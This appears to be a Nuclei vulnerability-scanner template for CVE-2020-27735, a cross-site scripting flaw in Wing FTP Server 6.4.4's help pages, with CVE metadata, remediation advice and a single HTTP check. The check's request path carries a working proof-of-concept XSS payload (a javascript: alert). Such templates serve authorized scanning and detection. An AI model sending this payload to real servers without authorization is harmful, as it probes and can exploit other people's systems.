id: CVE-2020-27735 info: name: Wing FTP 6.4.4 - Cross-Site Scripting author: pikpikcu severity: medium description: | Wing FTP 6.4.4 is vulnerable to cross-site scripting via its web interface because an arbitrary IFRAME element can be included in the help pages via a crafted link, leading to the execution of (sandboxed) arbitrary HTML and JavaScript in the user's browser. remediation: | Upgrade to the latest version of Wing FTP server or apply the vendor-provided patch to mitigate this vulnerability. reference: - https://www.wftpserver.com/serverhistory.htm - https://wshenk.blogspot.com/2021/01/xss-in-wing-ftps-web-interface-cve-2020.html - https://nvd.nist.gov/vuln/detail/CVE-2020-27735 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-27735 cwe-id: CWE-79 epss-score: 0.00216 epss-percentile: 0.59411 cpe: cpe:2.3:a:wftpserver:wing_ftp_server:6.4.4:*:*:*:*:*:*:* metadata: max-request: 1 vendor: wftpserver product: wing_ftp_server tags: cve,cve2020,xss,wing-ftp,wftpserver http: - method: GET path: - "{{BaseURL}}/help/english/index.html?javascript:alert(document.domain)" matchers-condition: and matchers: - type: word part: body words: - '' - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a004730450221009d8d0dfa9eda31a237d102e6313455741dddfae4ca53d3fba71432c1ff605372022000e79a3d46f78a535f3b456a84855b654456c8c375894114884d8e22769c24e1:922c64590222798bb761d5b6d8e72950